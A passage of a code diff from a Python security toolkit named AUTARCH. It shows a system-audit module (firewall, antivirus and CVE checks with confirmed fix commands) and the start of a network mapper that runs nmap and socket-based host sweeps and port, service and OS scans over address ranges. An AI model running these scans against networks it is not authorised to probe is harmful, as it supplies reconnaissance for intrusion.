Not Installed", + "Fail2ban is not installed (protects against brute-force)", + "LOW", + "services", + fix_command="sudo apt install fail2ban -y && sudo systemctl enable fail2ban && sudo systemctl start fail2ban", + fix_instructions="Install fail2ban:\n sudo apt install fail2ban\n sudo systemctl enable --now fail2ban" + ) + + def check_antivirus(self): + """Check for antivirus.""" + self.print_status("Checking antivirus...") + + # Check ClamAV + success, _ = self.run_cmd("which clamscan 2>/dev/null") + if success: + self.audit_results['antivirus'] = {'status': 'installed', 'type': 'clamav'} + return + + # Check for other AV + for av in ['sophos', 'eset', 'kaspersky']: + success, _ = self.run_cmd(f"which {av} 2>/dev/null") + if success: + self.audit_results['antivirus'] = {'status': 'installed', 'type': av} + return + + self.add_issue( + "No Antivirus Installed", + "No antivirus solution detected", + "LOW", + "security", + fix_command="sudo apt install clamav clamav-daemon -y && sudo freshclam", + fix_instructions="Install ClamAV:\n sudo apt install clamav clamav-daemon\n sudo freshclam" + ) + + def check_cves(self, verbose: bool = True): + """Check for CVEs affecting this system using local SQLite database.""" + self.print_status("Checking CVE database for system vulnerabilities...") + + # Get database stats + db_stats = self.cve_db.get_db_stats() + + if db_stats['total_cves'] == 0: + if verbose: + print(f"{Colors.YELLOW}[!] Local CVE database is empty. Searching online...{Colors.RESET}") + # Fall back to online search + cves = self.cve_db.search_online( + cpe_name=self.cve_db.system_info.get('cpe_prefix', ''), + days_back=365, + max_results=100, + verbose=verbose + ) + else: + if verbose: + print(f"{Colors.DIM} Local DB: {db_stats['total_cves']:,} CVEs | Last sync: {db_stats.get('last_sync', 'Never')[:10] if db_stats.get('last_sync') else 'Never'}{Colors.RESET}") + # Use local database + cves = self.cve_db.get_system_cves(max_results=100) + + self.audit_results['cves'] = { + 'total': len(cves), + 'critical': sum(1 for c in cves if c.get('severity') == 'CRITICAL'), + 'high': sum(1 for c in cves if c.get('severity') == 'HIGH'), + 'medium': sum(1 for c in cves if c.get('severity') == 'MEDIUM'), + 'low': sum(1 for c in cves if c.get('severity') == 'LOW'), + 'items': cves[:20], # Keep top 20 + 'db_stats': db_stats, + } + + if verbose: + print(f"{Colors.GREEN}[+] Found {len(cves)} CVEs for your system{Colors.RESET}") + + # Add critical/high CVEs as issues + for cve in cves[:10]: + if cve.get('severity') in ['CRITICAL', 'HIGH']: + cve_id = cve.get('cve_id') or cve.get('id', '') + desc = cve.get('description', '')[:150] + self.add_issue( + f"CVE: {cve_id}", + desc, + cve['severity'], + "cve", + fix_instructions=f"Check: https://nvd.nist.gov/vuln/detail/{cve_id}\nUpdate affected packages and apply patches.", + score_penalty=15 if cve['severity'] == 'CRITICAL' else 10 + ) + + # ========================================================================= + # MAIN AUDIT + # ========================================================================= + + def run_full_audit(self, check_cves: bool = True): + """Run complete system audit.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}{Colors.CYAN}Starting Full System Security Audit{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + self.issues = [] + self.audit_results = {} + self.security_score = 100 + + # Collect info and run checks + self.collect_system_info() + self.check_firewall() + self.check_ssh_config() + self.check_open_ports() + self.check_users() + self.check_permissions() + self.check_services() + self.check_updates() + self.check_fail2ban() + self.check_antivirus() + + if check_cves: + self.check_cves() + + print(f"\n{Colors.DIM}{'─' * 50}{Colors.RESET}") + self.print_summary() + + def print_summary(self): + """Print audit summary.""" + print(f"\n{Colors.BOLD}Security Audit Summary{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}") + + # System info + print(f"\n{Colors.CYAN}System:{Colors.RESET} {self.system_info.get('os_name', 'Unknown')}") + print(f"{Colors.CYAN}Hostname:{Colors.RESET} {self.system_info.get('hostname', 'Unknown')}") + + # Issue counts by severity + critical = sum(1 for i in self.issues if i.severity == 'CRITICAL') + high = sum(1 for i in self.issues if i.severity == 'HIGH') + medium = sum(1 for i in self.issues if i.severity == 'MEDIUM') + low = sum(1 for i in self.issues if i.severity == 'LOW') + + print(f"\n{Colors.BOLD}Issues Found:{Colors.RESET}") + if critical: + print(f" {Colors.RED}CRITICAL: {critical}{Colors.RESET}") + if high: + print(f" {Colors.RED}HIGH: {high}{Colors.RESET}") + if medium: + print(f" {Colors.YELLOW}MEDIUM: {medium}{Colors.RESET}") + if low: + print(f" {Colors.CYAN}LOW: {low}{Colors.RESET}") + + if not self.issues: + print(f" {Colors.GREEN}No issues found!{Colors.RESET}") + + # Security score + print(f"\n{Colors.BOLD}Security Score: ", end="") + if self.security_score >= 80: + print(f"{Colors.GREEN}{self.security_score}/100{Colors.RESET}") + elif self.security_score >= 50: + print(f"{Colors.YELLOW}{self.security_score}/100{Colors.RESET}") + else: + print(f"{Colors.RED}{self.security_score}/100{Colors.RESET}") + + def save_to_file(self) -> bool: + """Save audit results to system.inf.""" + try: + data = { + 'audit_date': datetime.now().isoformat(), + 'system_info': self.system_info, + 'security_score': self.security_score, + 'audit_results': self.audit_results, + 'issues': [i.to_dict() for i in self.issues], + } + + with open(self._system_inf_path(), 'w') as f: + json.dump(data, f, indent=2, default=str) + + self.print_status(f"Results saved to {self._system_inf_path()}", "success") + return True + + except Exception as e: + self.print_status(f"Failed to save: {e}", "error") + return False + + def load_from_file(self) -> bool: + """Load previous audit results from system.inf.""" + if not self._system_inf_path().exists(): + return False + + try: + with open(self._system_inf_path(), 'r') as f: + data = json.load(f) + + self.system_info = data.get('system_info', {}) + self.security_score = data.get('security_score', 100) + self.audit_results = data.get('audit_results', {}) + self.issues = [SecurityIssue.from_dict(i) for i in data.get('issues', [])] + + return True + + except Exception as e: + self.print_status(f"Failed to load: {e}", "error") + return False + + # ========================================================================= + # ISSUE REMEDIATION + # ========================================================================= + + def show_issue_details(self, issue: SecurityIssue): + """Show detailed information about an issue.""" + clear_screen() + display_banner() + + color = SecurityIssue.SEVERITY_COLORS.get(issue.severity, Colors.WHITE) + + print(f"\n{Colors.BOLD}Issue Details{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.BOLD}Name:{Colors.RESET} {issue.name}") + print(f"{Colors.BOLD}Severity:{Colors.RESET} {color}{issue.severity}{Colors.RESET}") + print(f"{Colors.BOLD}Category:{Colors.RESET} {issue.category}") + print(f"\n{Colors.BOLD}Description:{Colors.RESET}") + print(f" {issue.description}") + + if issue.cve_ids: + print(f"\n{Colors.BOLD}Related CVEs:{Colors.RESET}") + for cve in issue.cve_ids: + print(f" - {cve}") + + if issue.fix_instructions: + print(f"\n{Colors.BOLD}Manual Fix Instructions:{Colors.RESET}") + for line in issue.fix_instructions.split('\n'): + print(f" {line}") + + if issue.fix_command: + print(f"\n{Colors.BOLD}Auto-Fix Command:{Colors.RESET}") + print(f" {Colors.CYAN}{issue.fix_command}{Colors.RESET}") + + print(f"\n{Colors.DIM}{'─' * 50}{Colors.RESET}") + + def attempt_llm_fix(self, issue: SecurityIssue) -> bool: + """Use LLM to generate and optionally apply a fix.""" + try: + from core.llm import get_llm, LLMError + except ImportError: + self.print_status("LLM module not available", "error") + return False + + self.print_status("Consulting LLM for fix recommendation...", "info") + + try: + llm = get_llm() + + if not llm.is_loaded: + self.print_status("Loading LLM model...", "info") + llm.load_model(verbose=True) + + # Build prompt + prompt = f"""You are a Linux security expert. Analyze this security issue and provide a fix. + +System: {self.system_info.get('os_name', 'Linux')} +Issue: {issue.name} +Severity: {issue.severity} +Description: {issue.description} +Category: {issue.category} + +Provide: +1. A brief explanation of the risk +2. The exact command(s) to fix this issue +3. Any important warnings or prerequisites + +Format your response clearly with sections.""" + + print(f"\n{Colors.CYAN}LLM Analysis:{Colors.RESET}\n") + + # Generate response with streaming + response_text = "" + for token in llm.generate(prompt, stream=True, max_tokens=500): + print(token, end="", flush=True) + response_text += token + + print("\n") + + # Ask if user wants to apply suggested fix + if issue.fix_command: + print(f"\n{Colors.YELLOW}Suggested command:{Colors.RESET} {issue.fix_command}") + choice = input(f"\n{Colors.WHITE}Apply this fix? (y/n): {Colors.RESET}").strip().lower() + + if choice == 'y': + print(f"\n{Colors.CYAN}[*] Executing: {issue.fix_command}{Colors.RESET}") + success, output = self.run_cmd(issue.fix_command, timeout=60) + + if success: + self.print_status("Fix applied successfully!", "success") + issue.status = "fixed" + return True + else: + self.print_status(f"Command failed: {output}", "error") + return False + + return True + + except Exception as e: + self.print_status(f"LLM error: {e}", "error") + return False + + def apply_manual_fix(self, issue: SecurityIssue) -> bool: + """Apply the predefined fix command.""" + if not issue.fix_command: + self.print_status("No automatic fix available for this issue", "warning") + return False + + print(f"\n{Colors.BOLD}Fix Command:{Colors.RESET}") + print(f" {Colors.CYAN}{issue.fix_command}{Colors.RESET}") + + print(f"\n{Colors.YELLOW}Warning: This will modify your system.{Colors.RESET}") + choice = input(f"{Colors.WHITE}Execute this command? (y/n): {Colors.RESET}").strip().lower() + + if choice != 'y': + self.print_status("Fix cancelled", "info") + return False + + print(f"\n{Colors.CYAN}[*] Executing...{Colors.RESET}") + success, output = self.run_cmd(issue.fix_command, timeout=60) + + if output: + print(f"\n{Colors.DIM}Output:{Colors.RESET}") + print(output) + + if success: + self.print_status("Fix applied successfully!", "success") + issue.status = "fixed" + return True + else: + self.print_status("Command failed", "error") + return False + + # ========================================================================= + # MENU SYSTEM + # ========================================================================= + + def show_menu(self): + """Display main menu.""" + clear_screen() + display_banner() + + # Load previous results if available + has_results = self._system_inf_path().exists() + + # Get CVE database stats + db_stats = self.cve_db.get_db_stats() + + print(f"\n{Colors.BLUE}{Colors.BOLD} My System - Security Audit{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Show system info + sys_info = self.cve_db.get_system_info() + print(f"\n {Colors.CYAN}Detected:{Colors.RESET} {sys_info.get('os_id', 'unknown')} {sys_info.get('os_version', '')}") + print(f" {Colors.CYAN}Kernel:{Colors.RESET} {sys_info.get('kernel', 'unknown')}") + + # Show CVE database status + if db_stats['total_cves'] > 0: + last_sync = db_stats.get('last_sync', '')[:10] if db_stats.get('last_sync') else 'Never' + print(f" {Colors.CYAN}CVE Database:{Colors.RESET} {db_stats['total_cves']:,} CVEs ({db_stats['db_size_mb']} MB)") + print(f" {Colors.CYAN}Last Sync:{Colors.RESET} {last_sync}") + else: + print(f" {Colors.YELLOW}CVE Database:{Colors.RESET} Empty - sync required") + + if has_results and self.issues: + print(f" {Colors.CYAN}Last Score:{Colors.RESET} {self.security_score}/100") + print(f" {Colors.CYAN}Open Issues:{Colors.RESET} {sum(1 for i in self.issues if i.status == 'open')}") + + print(f"\n{Colors.DIM} {'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Run Full System Audit") + print(f" {Colors.GREEN}[2]{Colors.RESET} Run Audit (Skip CVE Check)") + + if has_results: + print(f"\n {Colors.CYAN}[3]{Colors.RESET} View Issues ({len(self.issues)} found)") + print(f" {Colors.CYAN}[4]{Colors.RESET} View CVE Report") + + print(f"\n {Colors.YELLOW}[5]{Colors.RESET} Search CVE Database") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Check Software for CVEs") + + print(f"\n {Colors.MAGENTA}[7]{Colors.RESET} Sync CVE Database (Recent)") + print(f" {Colors.MAGENTA}[8]{Colors.RESET} Sync CVE Database (Full)") + print(f" {Colors.MAGENTA}[9]{Colors.RESET} CVE Database Info") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Back to Main Menu") + print() + + def show_issues_menu(self): + """Display issues as selectable options.""" + if not self.issues: + self.print_status("No issues found. Run an audit first.", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + while True: + clear_screen() + display_banner() + + open_issues = [i for i in self.issues if i.status == 'open'] + fixed_issues = [i for i in self.issues if i.status == 'fixed'] + + print(f"\n{Colors.BOLD}Security Issues{Colors.RESET}") + print(f"{Colors.DIM}Score: {self.security_score}/100 | Open: {len(open_issues)} | Fixed: {len(fixed_issues)}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if not open_issues: + print(f"{Colors.GREEN}All issues have been addressed!{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # List issues + for idx, issue in enumerate(open_issues, 1): + color = SecurityIssue.SEVERITY_COLORS.get(issue.severity, Colors.WHITE) + severity_badge = f"{color}[{issue.severity[:4]}]{Colors.RESET}" + print(f" [{idx:2}] {severity_badge} {issue.name}") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select issue to fix: {Colors.RESET}").strip() + + if choice == '0': + break + + if choice.isdigit(): + idx = int(choice) - 1 + if 0 <= idx < len(open_issues): + self.handle_issue(open_issues[idx]) + + except (EOFError, KeyboardInterrupt): + break + + def handle_issue(self, issue: SecurityIssue): + """Handle remediation of a single issue.""" + self.show_issue_details(issue) + + print(f"\n {Colors.GREEN}[1]{Colors.RESET} Auto-Fix with LLM") + print(f" {Colors.CYAN}[2]{Colors.RESET} Apply Manual Fix") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Mark as Ignored") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select action: {Colors.RESET}").strip() + + if choice == '1': + self.attempt_llm_fix(issue) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + self.apply_manual_fix(issue) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + issue.status = 'ignored' + self.print_status("Issue marked as ignored", "info") + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + pass + + def show_cve_report(self): + """Show CVE report from audit.""" + clear_screen() + display_banner() + + cve_data = self.audit_results.get('cves', {}) + + print(f"\n{Colors.BOLD}CVE Report for Your System{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + print(f" {Colors.CYAN}Total CVEs:{Colors.RESET} {cve_data.get('total', 0)}") + print(f" {Colors.RED}Critical:{Colors.RESET} {cve_data.get('critical', 0)}") + print(f" {Colors.RED}High:{Colors.RESET} {cve_data.get('high', 0)}") + print(f" {Colors.YELLOW}Medium:{Colors.RESET} {cve_data.get('medium', 0)}") + print(f" {Colors.CYAN}Low:{Colors.RESET} {cve_data.get('low', 0)}") + + print(f"\n{Colors.BOLD}Top CVEs:{Colors.RESET}\n") + + for cve in cve_data.get('items', [])[:15]: + color = SecurityIssue.SEVERITY_COLORS.get(cve['severity'], Colors.WHITE) + print(f" {color}{cve['id']}{Colors.RESET} ({cve['severity']}) - CVSS: {cve['cvss_score']}") + print(f" {Colors.DIM}{cve['description'][:70]}...{Colors.RESET}") + print() + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def search_cve_interactive(self): + """Interactive CVE search.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Search{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + db_stats = self.cve_db.get_db_stats() + if db_stats['total_cves'] > 0: + print(f"{Colors.DIM}Local database: {db_stats['total_cves']:,} CVEs{Colors.RESET}\n") + else: + print(f"{Colors.YELLOW}Local database empty - will search online{Colors.RESET}\n") + + keyword = input(f"{Colors.WHITE}Search keyword (or Enter for system CVEs): {Colors.RESET}").strip() + + print() + self.print_status("Searching CVE database...", "info") + + # Try local database first, fall back to online + if db_stats['total_cves'] > 0: + if keyword: + cves = self.cve_db.search_cves(keyword=keyword) + else: + cves = self.cve_db.get_system_cves() + else: + if keyword: + cves = self.cve_db.search_online(keyword=keyword, verbose=True) + else: + cve_prefix = self.cve_db.system_info.get('cpe_prefix', '') + cves = self.cve_db.search_online(cpe_name=cve_prefix, verbose=True) + + if not cves: + self.print_status("No CVEs found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Results ({len(cves)} found):{Colors.RESET}\n") + + for cve in cves[:20]: + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('severity', ''), Colors.WHITE) + cve_id = cve.get('cve_id') or cve.get('id', '') + score = cve.get('cvss_score') or cve.get('cvss_v3_score') or 0 + desc = cve.get('description', '')[:80] + print(f" {color}{cve_id}{Colors.RESET} - CVSS: {score} ({cve.get('severity', 'N/A')})") + print(f" {Colors.DIM}{desc}...{Colors.RESET}") + print() + + # Option to view details + cve_id = input(f"\n{Colors.WHITE}Enter CVE ID for details (or Enter to go back): {Colors.RESET}").strip().upper() + + if cve_id: + # Try local first, then online + details = self.cve_db.get_cve(cve_id) + if not details: + details = self.cve_db.fetch_cve_online(cve_id, verbose=True) + if details: + self.show_cve_details(details) + else: + self.print_status(f"CVE {cve_id} not found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def show_cve_details(self, cve: Dict): + """Show detailed CVE information.""" + clear_screen() + display_banner() + + cve_id = cve.get('cve_id') or cve.get('id', '') + print(f"\n{Colors.BOLD}{cve_id}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + print(f"{Colors.BOLD}Description:{Colors.RESET}") + print(f" {cve.get('description', 'N/A')}\n") + + # CVSS v3 + if cve.get('cvss_v3_score'): + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('cvss_v3_severity', ''), Colors.WHITE) + print(f"{Colors.BOLD}CVSS v3:{Colors.RESET}") + print(f" Score: {color}{cve['cvss_v3_score']} ({cve.get('cvss_v3_severity', 'N/A')}){Colors.RESET}") + if cve.get('cvss_v3_vector'): + print(f" Vector: {cve['cvss_v3_vector']}") + + # CVSS v2 (if no v3) + elif cve.get('cvss_v2_score'): + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('cvss_v2_severity', ''), Colors.WHITE) + print(f"{Colors.BOLD}CVSS v2:{Colors.RESET}") + print(f" Score: {color}{cve['cvss_v2_score']} ({cve.get('cvss_v2_severity', 'N/A')}){Colors.RESET}") + if cve.get('cvss_v2_vector'): + print(f" Vector: {cve['cvss_v2_vector']}") + + if cve.get('published'): + print(f"\n{Colors.BOLD}Published:{Colors.RESET} {cve['published'][:10]}") + + if cve.get('weaknesses'): + print(f"\n{Colors.BOLD}Weaknesses (CWE):{Colors.RESET}") + for w in cve['weaknesses'][:5]: + print(f" - {w}") + + if cve.get('references'): + print(f"\n{Colors.BOLD}References:{Colors.RESET}") + for ref in cve['references'][:5]: + url = ref.get('url', ref) if isinstance(ref, dict) else ref + print(f" - {url}") + + if cve.get('cpes'): + print(f"\n{Colors.BOLD}Affected Products:{Colors.RESET}") + for cpe in cve['cpes'][:5]: + criteria = cpe.get('cpe_criteria', cpe) if isinstance(cpe, dict) else cpe + print(f" - {criteria}") + + print(f"\n{Colors.CYAN}Full details: https://nvd.nist.gov/vuln/detail/{cve_id}{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def check_software_cves(self): + """Check CVEs for specific software.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}Software CVE Check{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + db_stats = self.cve_db.get_db_stats() + if db_stats['total_cves'] > 0: + print(f"{Colors.DIM}Local database: {db_stats['total_cves']:,} CVEs{Colors.RESET}\n") + + software = input(f"{Colors.WHITE}Software name (e.g., apache, nginx, openssh): {Colors.RESET}").strip() + if not software: + return + + version = input(f"{Colors.WHITE}Version (optional): {Colors.RESET}").strip() + + print() + self.print_status(f"Searching CVEs for {software}...", "info") + + # Try local database first + if db_stats['total_cves'] > 0: + cves = self.cve_db.get_software_cves(software, version=version if version else None) + else: + # Fall back to online search + keyword = f"{software} {version}" if version else software + cves = self.cve_db.search_online(keyword=keyword, verbose=True) + + if not cves: + self.print_status("No CVEs found for this software", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Found {len(cves)} CVEs:{Colors.RESET}\n") + + for cve in cves[:15]: + color = SecurityIssue.SEVERITY_COLORS.get(cve.get('severity', ''), Colors.WHITE) + cve_id = cve.get('cve_id') or cve.get('id', '') + score = cve.get('cvss_score') or cve.get('cvss_v3_score') or 0 + desc = cve.get('description', '') + desc = desc[:70] + '...' if len(desc) > 70 else desc + print(f" {color}{cve_id}{Colors.RESET} - CVSS: {score} ({cve.get('severity', 'N/A')})") + print(f" {Colors.DIM}{desc}{Colors.RESET}") + print() + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def sync_database_recent(self): + """Sync recent CVEs (last 120 days).""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Sync (Recent){Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"This will download CVEs from the last 120 days.") + print(f"Estimated time: 5-15 minutes (depending on API rate limits)\n") + + confirm = input(f"{Colors.WHITE}Start sync? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print() + stats = self.cve_db.sync_database(days_back=120, verbose=True) + + print(f"\n{Colors.BOLD}Sync Complete{Colors.RESET}") + print(f" CVEs processed: {stats.get('cves_processed', 0):,}") + print(f" Errors: {stats.get('errors', 0)}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def sync_database_full(self): + """Full database sync (all CVEs since 1999).""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Sync (Full){Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.YELLOW}WARNING: This will download ALL CVEs (200,000+){Colors.RESET}") + print(f"Estimated time: 2-6 hours (depending on API rate limits)") + print(f"Database size: ~150-300 MB\n") + + print(f"Consider getting an NVD API key for faster sync:") + print(f" https://nvd.nist.gov/developers/request-an-api-key\n") + + confirm = input(f"{Colors.WHITE}Start full sync? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print() + stats = self.cve_db.sync_database(full_sync=True, verbose=True) + + print(f"\n{Colors.BOLD}Sync Complete{Colors.RESET}") + print(f" CVEs processed: {stats.get('cves_processed', 0):,}") + print(f" Errors: {stats.get('errors', 0)}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def show_database_info(self): + """Show CVE database information.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Information{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + stats = self.cve_db.get_db_stats() + + print(f" {Colors.CYAN}Database Path:{Colors.RESET} {stats['db_path']}") + print(f" {Colors.CYAN}Database Size:{Colors.RESET} {stats['db_size_mb']} MB") + print(f" {Colors.CYAN}Total CVEs:{Colors.RESET} {stats['total_cves']:,}") + print(f" {Colors.CYAN}Total CPEs:{Colors.RESET} {stats['total_cpes']:,}") + print(f" {Colors.CYAN}Last Sync:{Colors.RESET} {stats.get('last_sync', 'Never')}") + + if stats.get('by_severity'): + print(f"\n {Colors.BOLD}CVEs by Severity:{Colors.RESET}") + for sev, count in sorted(stats['by_severity'].items()): + color = SecurityIssue.SEVERITY_COLORS.get(sev, Colors.WHITE) + print(f" {color}{sev}:{Colors.RESET} {count:,}") + + sys_info = self.cve_db.get_system_info() + print(f"\n {Colors.BOLD}System Detection:{Colors.RESET}") + print(f" OS: {sys_info.get('os_name', 'Unknown')}") + print(f" CPE: {sys_info.get('cpe_prefix', 'Unknown')}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run(self): + """Main module loop.""" + # Try to load previous results + self.load_from_file() + + while True: + self.show_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + self.run_full_audit(check_cves=True) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + self.run_full_audit(check_cves=False) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '3' and self._system_inf_path().exists(): + self.show_issues_menu() + + elif choice == '4' and self._system_inf_path().exists(): + self.show_cve_report() + + elif choice == '5': + self.search_cve_interactive() + + elif choice == '6': + self.check_software_cves() + + elif choice == '7': + self.sync_database_recent() + + elif choice == '8': + self.sync_database_full() + + elif choice == '9': + self.show_database_info() + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + MySystem().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/net_mapper.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/net_mapper.py new file mode 100644 index 0000000..de711fd --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/net_mapper.py @@ -0,0 +1,509 @@ +"""AUTARCH Network Topology Mapper + +Host discovery, service enumeration, OS fingerprinting, and visual +network topology mapping with scan diffing. +""" + +DESCRIPTION = "Network topology discovery & mapping" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import socket +import struct +import threading +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +@dataclass +class Host: + ip: str + mac: str = '' + hostname: str = '' + os_guess: str = '' + ports: List[dict] = field(default_factory=list) + state: str = 'up' + subnet: str = '' + + def to_dict(self) -> dict: + return { + 'ip': self.ip, 'mac': self.mac, 'hostname': self.hostname, + 'os_guess': self.os_guess, 'ports': self.ports, + 'state': self.state, 'subnet': self.subnet, + } + + +class NetMapper: + """Network topology discovery and mapping.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'net_mapper') + os.makedirs(self._data_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + + # ── Host Discovery ──────────────────────────────────────────────────── + + def discover_hosts(self, target: str, method: str = 'auto', + timeout: float = 3.0) -> dict: + """Discover live hosts on a network. + + target: IP, CIDR (192.168.1.0/24), or range (192.168.1.1-254) + method: 'arp', 'icmp', 'tcp', 'nmap', 'auto' + """ + job_id = f'discover_{int(time.time())}' + holder = {'done': False, 'hosts': [], 'error': None} + self._active_jobs[job_id] = holder + + def do_discover(): + try: + nmap = find_tool('nmap') + if method == 'nmap' or (method == 'auto' and nmap): + hosts = self._nmap_discover(target, nmap, timeout) + elif method == 'icmp' or method == 'auto': + hosts = self._ping_sweep(target, timeout) + elif method == 'tcp': + hosts = self._tcp_discover(target, timeout) + else: + hosts = self._ping_sweep(target, timeout) + holder['hosts'] = [h.to_dict() for h in hosts] + except Exception as e: + holder['error'] = str(e) + finally: + holder['done'] = True + + threading.Thread(target=do_discover, daemon=True).start() + return {'ok': True, 'job_id': job_id} + + def _nmap_discover(self, target: str, nmap: str, timeout: float) -> List[Host]: + """Discover hosts using nmap.""" + cmd = [nmap, '-sn', '-PE', '-PA21,22,80,443,445,3389', '-oX', '-', target] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return self._parse_nmap_xml(result.stdout) + except Exception: + return [] + + def _ping_sweep(self, target: str, timeout: float) -> List[Host]: + """ICMP ping sweep.""" + ips = self._expand_target(target) + hosts = [] + lock = threading.Lock() + + def ping(ip): + try: + # Use socket instead of subprocess for speed + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + # Try common ports to detect hosts even if ICMP is blocked + for port in (80, 443, 22, 445): + try: + r = s.connect_ex((ip, port)) + if r == 0: + h = Host(ip=ip, state='up', + subnet='.'.join(ip.split('.')[:3]) + '.0/24') + try: + h.hostname = socket.getfqdn(ip) + if h.hostname == ip: + h.hostname = '' + except Exception: + pass + with lock: + hosts.append(h) + s.close() + return + except Exception: + pass + s.close() + except Exception: + pass + + threads = [] + for ip in ips: + t = threading.Thread(target=ping, args=(ip,), daemon=True) + threads.append(t) + t.start() + if len(threads) >= 100: + for t in threads: + t.join(timeout=timeout + 2) + threads.clear() + for t in threads: + t.join(timeout=timeout + 2) + + return sorted(hosts, key=lambda h: [int(x) for x in h.ip.split('.')]) + + def _tcp_discover(self, target: str, timeout: float) -> List[Host]: + """TCP SYN scan for discovery.""" + return self._ping_sweep(target, timeout) # Same logic for now + + # ── Port Scanning ───────────────────────────────────────────────────── + + def scan_host(self, ip: str, port_range: str = '1-1024', + service_detection: bool = True, + os_detection: bool = True) -> dict: + """Detailed scan of a single host.""" + nmap = find_tool('nmap') + if nmap: + return self._nmap_scan_host(ip, nmap, port_range, + service_detection, os_detection) + return self._socket_scan_host(ip, port_range) + + def _nmap_scan_host(self, ip: str, nmap: str, port_range: str, + svc: bool, os_det: bool) -> dict: + cmd = [nmap, '-Pn', '-p', port_range, '-oX', '-', ip] + if svc: + cmd.insert(2, '-sV') + if os_det: + cmd.insert(2, '-O') + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + hosts = self._parse_nmap_xml(result.stdout) + if hosts: + return {'ok': True, 'host': hosts[0].to_dict(), 'raw': result.stdout} + return {'ok': True, 'host': Host(ip=ip, state='unknown').to_dict()} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def _socket_scan_host(self, ip: str, port_range: str) -> dict: + """Fallback socket-based port scan.""" + start_port, end_port = 1, 1024 + if '-' in port_range: + parts = port_range.split('-') + start_port, end_port = int(parts[0]), int(parts[1]) + + open_ports = [] + for port in range(start_port, min(end_port + 1, 65536)): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) 